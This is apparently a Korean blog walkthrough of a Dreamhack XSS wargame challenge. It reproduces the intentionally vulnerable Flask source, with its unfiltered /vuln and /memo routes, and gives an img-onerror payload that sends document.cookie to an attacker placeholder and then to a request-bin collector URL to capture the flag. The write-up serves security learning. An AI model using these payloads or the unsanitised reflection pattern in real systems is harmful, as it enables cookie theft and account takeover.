웹 서비스에 접속하면 상단에 XSS 라는 메뉴바와 함께 초기 화면이 나타납니다.

flag 화면을 들어가면 아래화면처럼 뜨는 것을 확인 할 수있다.

자세히 확인해보기 위해서 문제파일을 확인해보겠습니다.
app.py
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
📌 코드 동작 설명
1. 기본 페이지 (/)
- index.html을 렌더링하여 초기 화면을 보여줍니다.
2. 취약 페이지 (/vuln)
- param 값을 받아 그대로 출력합니다.
- 입력값에 대한 별도 필터링이 없어, Reflected XSS가 발생할 수 있습니다.
3. 플래그 요청 (/flag)
- 사용자가 param을 POST로 제출하면 check_xss() 함수가 실행됩니다.
- 내부적으로 Selenium WebDriver(Headless Chrome) 가 동작하여 http://127.0.0.1:8000/vuln?param=... 에 접속합니다.
- XSS가 정상 실행되면 "good" 알림창이, 실패 시 "wrong??" 알림창이 뜨도록 설계되어 있습니다.
4. 메모 기능 (/memo)
- memo 파라미터의 입력값을 전역 변수 memo_text에 계속 누적합니다.
- 이후 memo.html에서 그대로 출력되므로, Stored XSS 공격이 가능합니다.
기본적인 XSS 개념을 검증하기 위해 다음과 같은 페이로드를 사용하였다.
<img src="x" onerror="location.href='http://공격자서버/?cookie=' + document.cookie">
👉 의미: 잘못된 이미지를 불러올 때 발생하는 오류를 이용해, document.cookie 값을 공격자 서버로 전송하여 쿠키 탈취를 시도하는 XSS 페이로드이다.
XSS 페이로드 실행 결과를 확인하고 쿠키를 수집하기 위해 외부 도구인 드림핵 툴즈를 활용하였다.
dreamhack-tools
tools.dreamhack.games
직접 실습을 통해 공격 과정을 재현해 보았다
드림핵 툴즈에서 제공된 수집 링크를 발급받은 뒤, 이를 <img> 태그의 onerror 속성에 그대로 삽입하여 쿠키가 전달되도록 구성하였다.

발급받은 드림핵 툴즈 수집 링크를 onerror 속성에 삽입하여, 쿠키 값을 외부 서버로 전송하도록 구성하였다.
<img src="x" onerror="location.href='https://bevgckt.request.dreamhack.games/?cookie=' + document.cookie">
📌 의미
- src="x" → 없는 이미지를 불러오면서 에러 발생
- onerror=... → 에러 시 실행되는 코드
- location.href=... → 공격자 서버(dreamhack.tools)로 브라우저가 강제로 이동
- document.cookie → 현재 쿠키 값이 파라미터에 붙어서 전송됨
👉 즉, 드림핵 툴즈에서 발급받은 URL을 넣어주면 쿠키 값이 외부 서버로 전달되는 구조입니다.
결과적으로 XSS 페이로드를 통해 FLAG 값이 드림핵 툴즈 Request Bin으로 전송되는 것을 확인할 수 있었으며, 이를 통해 최종적으로 플래그를 획득하였다.

'Dreamhack > 웹해킹' 카테고리의 다른 글
| [LEVEL 1] simple-ssti (0) | 2025.09.04 |
|---|---|
| [LEVEL 1] image-storage (0) | 2025.09.04 |
| [LEVEL 1] csrf-1 (0) | 2025.09.03 |
| [LEVEL 1] simple_sqli (0) | 2025.09.02 |
| [LEVEL 1] proxy-1 (1) | 2025.08.31 |